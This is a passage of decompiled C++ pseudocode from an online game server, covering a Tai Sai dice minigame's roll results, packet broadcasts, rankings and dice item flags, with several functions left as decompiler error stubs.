[sp+14h] [bp-Ch]@2 ShineObjectClass::ShineMiniHouse *v15; // [sp+18h] [bp-8h]@1 signed int i; // [sp+1Ch] [bp-4h]@1 v2 = this; v15 = this; i = 0; if ( !pDBAck->nResultCnt ) return 7376; v14 = (char *)&pDBAck[1].nGameNo; do { v3 = 0; if ( !v2->smh_DiceTaiSai.nGamerCnt ) goto LABEL_27; v4 = (int)v2->smh_DiceTaiSai.GamerInfo; while ( 1 ) { v5 = *(_DWORD *)v4; if ( !*(_DWORD *)v4 || (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 836))(*(_DWORD *)v4) != *(_DWORD *)(v14 + 2) ) goto LABEL_10; if ( (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 312))(v5) == *(_WORD *)&v2->gap0[4] && (unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v5 + 368))(v5, 1) ) break; v2 = v15; LABEL_10: ++v3; v4 += 8; if ( v3 >= v2->smh_DiceTaiSai.nGamerCnt ) goto LABEL_27; } if ( *((_WORD *)v14 - 1) == 7408 ) { v6 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1916))(v5); if ( (unsigned __int8)(*(int (__thiscall **)(int, int, _DWORD, _DWORD))(*(_DWORD *)v6 + 24))( v6, v5, *(_WORD *)v14, 0) ) { v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1916))(v5); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v9 + 32))(v9, *(_WORD *)v14); } else { v7 = DebugLogging::operator<<( &LockIndexLog, "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_MoneyResult_DiceRoll : "); if ( DebugLogging::dl_ActivAll ) { if ( v7->dl_Activ ) { DebugLogging::dl_FilePoint(v7); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } } DebugLogging::operator<<(v7, &deb_LF); } } v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 412))(v5); if ( v10 ) { v11 = *(_DWORD *)(v14 + 6); v12 = *(_DWORD *)(v14 + 10); if ( v12 < 0 || v12 <= 0 && !v11 ) { v11 = 0; v12 = 0; } *(_DWORD *)(v10 + 216) = v11; *(_DWORD *)(v10 + 220) = v12; } v2 = v15; LABEL_27: v14 += 16; ++i; } while ( i < pDBAck->nResultCnt ); return 7376; } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004CE620) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadResult_DiceRoll(ShineObjectClass::ShineMiniHouse *this) { char *v1; // ebx@1 ShineObjectClass::ShineMiniHouse *v2; // ebp@1 int v3; // esi@3 int v4; // eax@9 int v5; // ecx@10 bool v6; // sf@10 unsigned __int8 v7; // of@10 char *v9; // [sp+Ch] [bp-8h]@2 int i; // [sp+10h] [bp-4h]@1 v1 = gpp.pp_Buffer; v2 = this; *(_WORD *)gpp.pp_Buffer = -21466; *((_WORD *)v1 + 2) = *(_WORD *)&this->smh_DiceTaiSai.CurrentRollingDice.nNumber[0]; v1[6] = this->smh_DiceTaiSai.CurrentRollingDice.nNumber[2]; i = 0; if ( this->smh_DiceTaiSai.nGamerCnt ) { v9 = (char *)this->smh_DiceTaiSai.GamerInfo; do { *((_WORD *)v1 + 1) = 7400; v3 = *(_DWORD *)v9; if ( *(_DWORD *)v9 && (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 312))(*(_DWORD *)v9) == *(_WORD *)&v2->gap0[4] ) { if ( !(unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v3 + 368))(v3, 1) ) *((_WORD *)v1 + 1) = 7401; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { v4 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 760))(v3); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadResult_DiceRoll : Packet Too Long", 7); } } v5 = v2->smh_DiceTaiSai.nGamerCnt; v7 = __OFSUB__(i + 1, v5); v6 = i++ + 1 - v5 < 0; v9 += 8; } while ( v6 ^ v7 ); } return 7376; } //----- (004CE720) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadEmotion_DiceRoll(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK *pDBAck) { char *v2; // eax@1 void *v3; // esi@1 ShineObjectClass::ShineMiniHouse *v4; // ebp@1 char v5; // cl@1 char *v6; // ebx@2 void *v7; // esi@5 int v8; // eax@10 int v9; // ecx@14 bool v10; // sf@14 unsigned __int8 v11; // of@14 unsigned int v12; // edx@16 char nGamerCnt; // [sp+Fh] [bp-2Dh]@1 int v15; // [sp+10h] [bp-2Ch]@4 int j; // [sp+14h] [bp-28h]@3 signed int i; // [sp+18h] [bp-24h]@1 char *nc; // [sp+1Ch] [bp-20h]@1 void *v19; // [sp+20h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+24h] [bp-18h]@22 int v21; // [sp+38h] [bp-4h]@22 v2 = gpp.pp_Buffer; v3 = 0; *(_WORD *)gpp.pp_Buffer = -21465; v4 = this; v5 = 0; v2[2] = 0; nc = v2; nGamerCnt = 0; v19 = 0; i = 0; if ( pDBAck->nResultCnt ) { v6 = (char *)&pDBAck[1].header.charregistnumber; do { j = 0; if ( v4->smh_DiceTaiSai.nGamerCnt ) { v15 = (int)v4->smh_DiceTaiSai.GamerInfo; while ( 1 ) { v7 = *(void **)v15; if ( *(_DWORD *)v15 && (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v7 + 836))(*(_DWORD *)v15) == *((_DWORD *)v6 - 1) && (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v7 + 312))(v7) == *(_WORD *)&v4->gap0[4] && (unsigned __int8)(*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v7 + 368))(v7, 1) && *((_WORD *)v6 - 4) == 7408 ) { v8 = *((_DWORD *)v6 + 1); if ( v8 > 0 || v8 >= 0 && *(_DWORD *)v6 ) { v12 = v4->smh_DiceTaiSai.ActiveDice.WinCode[rand() % 3]; goto LABEL_18; } if ( v8 < 0 ) break; } v9 = v4->smh_DiceTaiSai.nGamerCnt; v11 = __OFSUB__(j + 1, v9); v10 = j++ + 1 - v9 < 0; v15 += 8; if ( !(v10 ^ v11) ) goto LABEL_19; } v12 = v4->smh_DiceTaiSai.ActiveDice.LoseCode[rand() % 3]; LABEL_18: *(_WORD *)&nc[6 * (unsigned __int8)nGamerCnt + 3] = *((_WORD *)v7 + 2); *(_DWORD *)&nc[6 * (unsigned __int8)nGamerCnt++ + 5] = v12; v19 = v7; } LABEL_19: v6 += 16; ++i; } while ( i < pDBAck->nResultCnt ); v2 = nc; v5 = nGamerCnt; v3 = v19; } v2[2] = v5; if ( v5 ) { AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6 * (unsigned __int8)v5 + 3); v21 = 0; if ( v3 ) ShineObjectClass::ShineObject::so_AllInMap(v3, (int)&alchat, 1); v21 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } return 7376; } //----- (004CE900) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_PrepareNextGame(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 unsigned __int16 result; // ax@2 int v3; // ecx@5 v1 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 532))() ) { if ( v1->smh_DiceTaiSai.nGameStatus == 2 ) { v3 = v1->smh_DiceTaiSai.ActiveDice.DelayTime; v1->smh_DiceTaiSai.nGameStatus = 3; v1->smh_DiceTaiSai.bIsActiveTimerCheckTime = 1; v1->smh_DiceTaiSai.nTimerCheckTime = clockwatch.cw_CurrTick + v3; result = 7376; } else { result = 7380; } } else { result = 7385; } return result; } //----- (004CE950) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_GetReceiptIncomeMoney(__int16 nInvenSlot) { return 7428; } //----- (004CE960) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_GetRank(int pDBAck) { return 7452; } //----- (004CE970) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_SendRank(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_DICE_TAISAI_DB_RANK_ACK *pDBAck) { unsigned __int16 result; // ax@2 signed int v3; // ebx@3 char *v4; // ebp@4 PROTO_NC_DICE_TAISAI_DB_RANK_ACK *v5; // esi@5 int v6; // eax@6 PROTO_NC_DICE_TAISAI_DB_RANK_ACK *v7; // ebp@12 char *v8; // esi@12 bool v9; // zf@12 signed int v10; // edx@13 int v11; // ecx@14 char *v12; // eax@14 signed int v13; // eax@18 char v14; // bl@18 int v15; // ecx@22 int v16; // ebp@23 int v17; // edi@24 int v18; // eax@26 int v19; // edi@26 int v20; // eax@31 ShineObjectClass::ShineMiniHouse *v21; // [sp+4h] [bp-8h]@1 signed int v22; // [sp+4h] [bp-8h]@22 PROTO_NC_DICE_TAISAI_DB_RANK_ACK *v23; // [sp+8h] [bp-4h]@12 int pDBAcka; // [sp+10h] [bp+4h]@22 v21 = this; if ( pDBAck->nReqCharNo == -1 ) { result = 7457; } else { v3 = 0; if ( this->smh_DiceTaiSai.nGamerCnt ) { v4 = (char *)this->smh_DiceTaiSai.GamerInfo; do { v5 = *(PROTO_NC_DICE_TAISAI_DB_RANK_ACK **)v4; if ( *(_DWORD *)v4 ) { v6 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v5->nError + 836))(*(_DWORD *)v4); this = v21; if ( v6 == pDBAck->nReqCharNo ) break; } ++v3; v4 += 8; } while ( v3 < this->smh_DiceTaiSai.nGamerCnt ); } else { v5 = pDBAck; } if ( v3 == this->smh_DiceTaiSai.nGamerCnt ) { result = 7457; } else { v7 = v5; v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -21479; v9 = pDBAck->nError == 7448; v23 = v7; *((_WORD *)v8 + 1) = pDBAck->nError; v8[4] = 0; v8[405] = 0; if ( v9 ) { v10 = 0; if ( pDBAck->nRankCnt ) { v11 = (int)(v8 + 13); v12 = (char *)&pDBAck[1].nReqCharNo; do { *(_DWORD *)(v11 - 8) = *((_DWORD *)v12 - 2); *(_DWORD *)(v11 - 4) = *((_DWORD *)v12 - 1); *(_DWORD *)v11 = *(_DWORD *)v12; *(_DWORD *)(v11 + 4) = *((_DWORD *)v12 + 1); *(_DWORD *)(v11 + 8) = *((_DWORD *)v12 + 2); ++v10; v12 += 20; v11 += 20; } while ( v10 < pDBAck->nRankCnt ); this = v21; } v8[4] = pDBAck->nRankCnt; } LOBYTE(v13) = this->smh_DiceTaiSai.nGamerCnt; v14 = 0; if ( (unsigned __int8)v13 <= 0x14u ) v13 = (unsigned __int8)v13; else v13 = 20; if ( v13 > 0 ) { v15 = (int)this->smh_DiceTaiSai.pRank; pDBAcka = v15; v22 = v13; do { v16 = *(_DWORD *)v15; if ( *(_DWORD *)v15 ) { v17 = *(_DWORD *)v16; if ( *(_DWORD *)v16 ) { if ( (*(int (__thiscall **)(int))(*(_DWORD *)v17 + 1664))(*(_DWORD *)v16) ) { v18 = (*(int (__thiscall **)(int))(*(_DWORD *)v17 + 1664))(v17); v19 = *(_DWORD *)(v18 + 2); v18 += 2; *(_DWORD *)&v8[20 * (unsigned __int8)v14 + 406] = v19; *(_DWORD *)&v8[20 * (unsigned __int8)v14 + 410] = *(_DWORD *)(v18 + 4); *(_DWORD *)&v8[20 * (unsigned __int8)v14 + 414] = *(_DWORD *)(v18 + 8); *(_DWORD *)&v8[20 * (unsigned __int8)v14 + 418] = *(_DWORD *)(v18 + 12); *(_DWORD *)&v8[4 * (5 * (unsigned __int8)v14++ + 105) + 2] = *(_DWORD *)(v16 + 4); } } } v15 = pDBAcka + 4; v9 = v22 == 1; pDBAcka += 4; --v22; } while ( !v9 ); v7 = v23; } v8[405] = v14; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 20 * (unsigned __int8)v14 + 406) ) { v20 = (*(int (__thiscall **)(PROTO_NC_DICE_TAISAI_DB_RANK_ACK *))(*(_DWORD *)&v7->nError + 760))(v7); (*(void (__thiscall **)(int, PROTO_NC_DICE_TAISAI_DB_RANK_ACK *, ProtocolPacket *))(*(_DWORD *)v20 + 12))( v20, v7, &gpp); result = 7448; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_SendRank : Packet Too Long", 20 * (unsigned __int8)v14 + 406); result = 7448; } } } return result; } //----- (004CEB70) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadLargeAmount(ShineObjectClass::ShineMiniHouse *this) { char *v1; // ebp@1 ShineObjectClass::ShineMiniHouse *v2; // edi@1 void *v3; // esi@1 int v4; // eax@1 int v5; // ebp@2 void *v6; // esi@3 int v7; // eax@6 int v8; // ecx@9 bool v9; // sf@9 unsigned __int8 v10; // of@9 char *v12; // [sp+Ch] [bp-2Ch]@2 int nGamerCnt; // [sp+10h] [bp-28h]@1 int i; // [sp+14h] [bp-24h]@1 void *v15; // [sp+18h] [bp-20h]@1 char *nc; // [sp+1Ch] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+20h] [bp-18h]@12 int v18; // [sp+34h] [bp-4h]@12 v1 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -21462; v2 = this; v1[2] = 0; v3 = 0; v4 = 0; nc = v1; nGamerCnt = 0; v15 = 0; i = 0; if ( this->smh_DiceTaiSai.nGamerCnt ) { v5 = (int)(v1 + 5); v12 = (char *)this->smh_DiceTaiSai.GamerInfo; do { v6 = *(void **)v12; if ( *(_DWORD *)v12 ) { if ( (unsigned __int16)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 312))(*(_DWORD *)v12) == *(_WORD *)&v2->gap0[4] ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v6 + 368))(v6, 1) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 412))(v6); if ( v7 ) { if ( *(_QWORD *)(v7 + 216) >= (unsigned __int64)v2->smh_DiceTaiSai.ActiveDice.MaxBetMoney ) { *(_WORD *)(v5 - 2) = *((_WORD *)v6 + 2); *(_DWORD *)v5 = *(_DWORD *)(v7 + 216); ++nGamerCnt; v5 += 6; v15 = v6; } } } } } v8 = v2->smh_DiceTaiSai.nGamerCnt; v10 = __OFSUB__(i + 1, v8); v9 = i++ + 1 - v8 < 0; v12 += 8; } while ( v9 ^ v10 ); v1 = nc; v3 = v15; v4 = nGamerCnt; } v1[2] = v4; if ( v4 > 0 ) { AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6 * (unsigned __int8)v4 + 3); v18 = 0; if ( v3 ) ShineObjectClass::ShineObject::so_AllInMap(v3, (int)&alchat, 1); v18 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } return 1; } //----- (004CECE0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadGameFold(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // ebx@1 signed int v2; // ebp@1 int v3; // esi@3 int v4; // eax@8 char *v6; // [sp+10h] [bp-4h]@2 v1 = this; *(_WORD *)gpp.pp_Buffer = -21494; v2 = 0; if ( this->smh_DiceTaiSai.nGamerCnt ) { v6 = (char *)this->smh_DiceTaiSai.GamerInfo; do { v3 = *(_DWORD *)v6; if ( *(_DWORD *)v6 && (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 312))(*(_DWORD *)v6) == *(_WORD *)&v1->gap0[4] && (unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v3 + 368))(v3, 1) ) { if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v4 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 760))(v3); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadGameFold : Packet Too Long", 3); } (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v3 + 376))(v3, 0); } v6 += 8; ++v2; } while ( v2 < v1->smh_DiceTaiSai.nGamerCnt ); } return 1; } //----- (004CEDB0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetTaiSaiGamerCnt(ShineObjectClass::ShineMiniHouse *this) { return this->smh_DiceTaiSai.nGamerCnt; } //----- (004CEDC0) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineMiniHouse::so_mh_RankSortCompare(const void *a, const void *b) { return *(_DWORD *)(*(_DWORD *)a + 4) < *(_DWORD *)(*(_DWORD *)b + 4); } //----- (004CEDE0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsCreateDice(ShineObjectClass::ShineMiniHouse *this, char bIsCreateDice, SHINE_ITEM_REGISTNUMBER nCreateDiceKey) { if ( bIsCreateDice == 1 ) { if ( (nCreateDiceKey.binary._bf4 & *(_DWORD *)&nCreateDiceKey) == -1 ) return 0; } else { if ( !bIsCreateDice && (nCreateDiceKey.binary._bf4 & *(_DWORD *)&nCreateDiceKey) != -1 ) return 0; } this->smh_DiceTaiSai.Reserve.bIsCreateDice = bIsCreateDice; *(_QWORD *)&this->smh_DiceTaiSai.Reserve.nCreateDiceKey.binary.gap0[0] = nCreateDiceKey; return 1; } //----- (004CEE30) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsCreateDice(ShineObjectClass::ShineMiniHouse *this, SHINE_ITEM_REGISTNUMBER nCreateDiceKey) { return this->smh_DiceTaiSai.Reserve.bIsCreateDice && *(_QWORD *)&this->smh_DiceTaiSai.Reserve.nCreateDiceKey.binary.gap0[0] == nCreateDiceKey; } //----- (004CEE60) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsDeleteDice(ShineObjectClass::ShineMiniHouse *this, char bIsDeleteDice, SHINE_ITEM_REGISTNUMBER nDeleteDiceKey) { if ( bIsDeleteDice == 1 ) { if ( (nDeleteDiceKey.binary._bf4 & *(_DWORD *)&nDeleteDiceKey) == -1 ) return 0; } else { if ( !bIsDeleteDice && (nDeleteDiceKey.binary._bf4 & *(_DWORD *)&nDeleteDiceKey) != -1 ) return 0; } this->smh_DiceTaiSai.Reserve.bIsDeleteDice = bIsDeleteDice; *(_QWORD *)&this->smh_DiceTaiSai.Reserve.nDeleteDiceKey.binary.gap0[0] = nDeleteDiceKey; return 1; } //----- (004CEEB0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsDeleteDice(ShineObjectClass::ShineMiniHouse *this, SHINE_ITEM_REGISTNUMBER nDeleteDiceKey) { return this->smh_DiceTaiSai.Reserve.bIsDeleteDice && *(_QWORD *)&this->smh_DiceTaiSai.Reserve.nDeleteDiceKey.binary.gap0[0] == nDeleteDiceKey; } //----- (004CEEE0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsBlowGame(ShineObjectClass::ShineMiniHouse *this, char bIsBlowGame) { this->smh_DiceTaiSai.Reserve.bIsBlowGame = bIsBlowGame; return 1; } //----- (004CEEF0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsBlowGame(ShineObjectClass::ShineMiniHouse *this) { return this->smh_DiceTaiSai.Reserve.bIsBlowGame; } //----- (004CEF00) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsLeaveOwner(ShineObjectClass::ShineMiniHouse *this, char bIsLeaveOwner) { this->smh_DiceTaiSai.Reserve.bIsLeaveOwner = bIsLeaveOwner; return 1; } //----- (004CEF10) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsLeaveOwner(ShineObjectClass::ShineMiniHouse *this) { return this->smh_DiceTaiSai.Reserve.bIsLeaveOwner; } //----- (004CEF20) -------------------------------------------------------- #error "4CEF20: undefined or illegal type '#331' (funcsize=168)" //----- (004CF150) -------------------------------------------------------- #error "4CF150: undefined or illegal type '#331' (funcsize=113)" //----- (004CF2D0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsActiveDiceTaiSai(ShineObjectClass::ShineMiniHouse *this) { __int64 v1; // qax@1 char result; // al@2 ItemInventoryCell *v3; // ecx@3 v1 = *(_QWORD *)&this->smh_DiceTaiSai.ActiveDice.nActiveDiceTaiSaiKey.binary.gap0[0]; if ( (HIDWORD(v1) & *(_DWORD *)&this->smh_DiceTaiSai.ActiveDice.nActiveDiceTaiSaiKey.binary.gap0[0]) != -1 && (v3 = this->smh_DiceTaiSai.ActiveDice.pActiveDiceTaiSaiCell) != 0 && *(_QWORD *)&v3->iic_Item.iti_registnum.binary.gap0[0] == v1 ) result = v3->iic_Item.iti_itemstruct.itemattr.blot.lot & 1; else result = 0; return result; } //----- (004CF310) -------------------------------------------------------- DICE_TAISAI_GAME_STATUS __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_GetGameStatus(ShineObjectClass::ShineMiniHouse *this) { return this->smh_DiceTaiSai.nGameStatus; } //----- (004CF320) -------------------------------------------------------- DICE_TAISAI_GAME_MODE __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_GetGameMode(ShineObjectClass::ShineMiniHouse *this) { return this->smh_DiceTaiSai.nGameMode; } //----- (004CF330) -------------------------------------------------------- #error "4CF330: undefined or illegal type '#331' (funcsize=62)" //----- (004CF3D0) -------------------------------------------------------- char __thiscall ChargedItemEffectDataBox::cideb_Next(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger) { int v2; // eax@2 char result; // al@3 if ( finger->cief_Finger >= -1 && (v2 = finger->cief_Finger + 1, finger->cief_Finger = v2, v2 < this->cideb_Total) ) { result = 1; } else { finger->cief_Finger = -10; result = 0; } return result; } //----- (004CF400) -------------------------------------------------------- CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetIndex(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger) { int v2; // eax@1 CIDEB_Element *result; // eax@3 v2 = finger->cief_Finger; if ( finger->cief_Finger < 0 || v2 >= this->cideb_Total ) result = 0; else result = &this->cideb_Array[v2]; return result; } //----- (004CF430) -------------------------------------------------------- #error "4CF430: undefined or illegal type '#331' (funcsize=277)" //----- (004CF860) -------------------------------------------------------- #error "4CF860: undefined or illegal type '#331' (funcsize=166)" //----- (004CFAB0) -------------------------------------------------------- #error "4CFAB0: undefined or illegal type '#331' (funcsize=164)" //----- (004CFCF0) -------------------------------------------------------- #error "4CFCF0: undefined or illegal type '#331' (funcsize=175)" //----- (004CFF50) -------------------------------------------------------- #error "4CFF50: undefined or illegal type '#331' (funcsize=189)" //----- (004D01E0) -------------------------------------------------------- #error "4D01E0: undefined or illegal type '#331' (funcsize=141)" //----- (004D03D0) -------------------------------------------------------- #error "4D03D0: undefined or illegal type '#331' (funcsize=105)" //----- (004D0560) -------------------------------------------------------- #error "4D0560: undefined or illegal type '#331' (funcsize=198)" //----- (004D0800) -------------------------------------------------------- #error "4D0800: undefined or illegal type '#331' (funcsize=198)" //----- (004D0AA0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_LARGE_AMOUNT_REQ(int netcmd, int len, __int16 handle) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_LARGE_AMOUNT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_LARGE_AMOUNT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_LARGE_AMOUNT_REQ"); } //----- (004D0AF0) -------------------------------------------------------- #error "4D0AF0: undefined or illegal type '#331' (funcsize=293)" //----- (004D0EB0) -------------------------------------------------------- #error "4D0EB0: undefined or illegal type '#331' (funcsize=232)" //----- (004D11F0) -------------------------------------------------------- #error "4D11F0: undefined or illegal type '#331' (funcsize=199)" //----- (004D14A0) -------------------------------------------------------- #error "4D14A0: undefined or illegal type '#331' (funcsize=126)" //----- (004D1620) -------------------------------------------------------- #error "4D1620: undefined or illegal type '#331' (funcsize=64)" //----- (004D16F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_RankSort(ShineObjectClass::ShineMiniHouse *this) { signed int v1; // esi@1 char *v2; // eax@2 char *v3; // edx@2 v1 = 0; if ( this->smh_DiceTaiSai.nGamerCnt ) { v2 = (char *)this->smh_DiceTaiSai.pRank; v3 = (char *)this->smh_DiceTaiSai.GamerInfo; do { *(_DWORD *)v2 = v3; ++v1; v2 += 4; v3 += 8; } while ( v1 < this->smh_DiceTaiSai.nGamerCnt ); } qsort( this->smh_DiceTaiSai.pRank, this->smh_DiceTaiSai.nGamerCnt, 4u, ShineObjectClass::ShineMiniHouse::so_mh_RankSortCompare); return 1; } //----- (004D1750) -------------------------------------------------------- #error "4D1750: undefined or illegal type '#331' (funcsize=195)" //----- (004D19B0) -------------------------------------------------------- #error "4D19B0: undefined or illegal type '#331' (funcsize=109)" //----- (004D1B10) -------------------------------------------------------- #error "4D1B10: undefined or illegal type '#331' (funcsize=59)" //----- (004D1BF0) -------------------------------------------------------- #error "4D1BF0: undefined or illegal type '#331' (funcsize=59)" //----- (004D1CD0) -------------------------------------------------------- #error "4D1CD0: undefined or illegal type '#331' (funcsize=77)" //----- (004D1DF0) -------------------------------------------------------- #error "4D1DF0: undefined or illegal type '#331' (funcsize=115)" //----- (004D1F60) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_DiceTaiSaiChargedItemLimitCheck(void *this, int pItemBag, int nInvenType, char bIsDelActiveFurniture, int nGameStatus) { void *v5; // ebx@1 signed int v6; // edi@1 int v7; // ecx@1 int v9; // eax@3 int v10; // eax@3 int v11; // eax@4 int v12; // ebp@4 int v13; // ecx@5 int v14; // eax@6 unsigned int v15; // esi@7 unsigned int v16; // edx@7 unsigned int v17; // ecx@10 int v18; // edx@10 unsigned int v19; // ecx@12 int v20; // edx@12 unsigned int v21; // ecx@14 int v22; // edx@14 int v23; // ecx@19 int *uii; // [sp+14h] [bp-28h]@3 int v25; // [sp+18h] [bp-24h]@3 int v26; // [sp+1Ch] [bp-20h]@3 int ibii; // [sp+20h] [bp-1Ch]@3 int v28; // [sp+24h] [bp-18h]@3 int v29; // [sp+2Ch] [bp-10h]@3 int v30; // [sp+38h] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_DiceTaiSaiChargedItemLimitCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_DiceTaiSaiChargedItemLimitCheck"; v6 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v7 = funcallanalizer.fca_stackpoint++ + 1; v30 = 0; if ( nInvenType != 16 ) { funcallanalizer.fca_stackpoint = v7 - 1; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_DiceTaiSaiChargedItemLimitCheck"); return 0; } ibii = (int)ItemBoxIterator::_vftable_; v28 = pItemBag; v29 = (*(int (**)(void))(*(_DWORD *)pItemBag + 8))(); ibii = (int)&ItemBoxIterItem::_vftable_; v9 = *(_DWORD *)v5; LOBYTE(v30) = 1; v10 = (*(int (__thiscall **)(void *))(v9 + 1916))(v5); uii = &ibii; v25 = v10; v26 = 16; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) goto LABEL_25; do { v11 = (**(int (__stdcall ***)(_DWORD))uii[1])(uii[2]); v12 = v11; if ( v11 ) { v13 = *(_DWORD *)(v11 + 112); if ( v13 ) { v14 = (*(int (__stdcall **)(int))(*(_DWORD *)v13 + 48))(v11 + 8); if ( v14 ) { v15 = *(_DWORD *)v14; v16 = (unsigned __int8)*(_DWORD *)v14; if ( (unsigned __int8)*(_DWORD *)v14 ) { if ( v16 <= (unsigned __int8)chargeditemcheck._bf0 ) { if ( v16 < (unsigned __int8)chargeditemcheck._bf0 || (v17 = ((unsigned int)chargeditemcheck._bf0 >> 8) & 0x1F, v18 = (v15 >> 8) & 0x1F, v18 <= v17) && (v18 < v17 || (v19 = ((unsigned int)chargeditemcheck._bf0 >> 13) & 0x3F, v20 = (v15 >> 13) & 0x3F, v20 <= v19) && (v20 < v19 || (v21 = ((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F, v22 = (v15 >> 19) & 0x3F, v22 <= v21) && (v22 < v21 || (v15 & 0xFE000000) 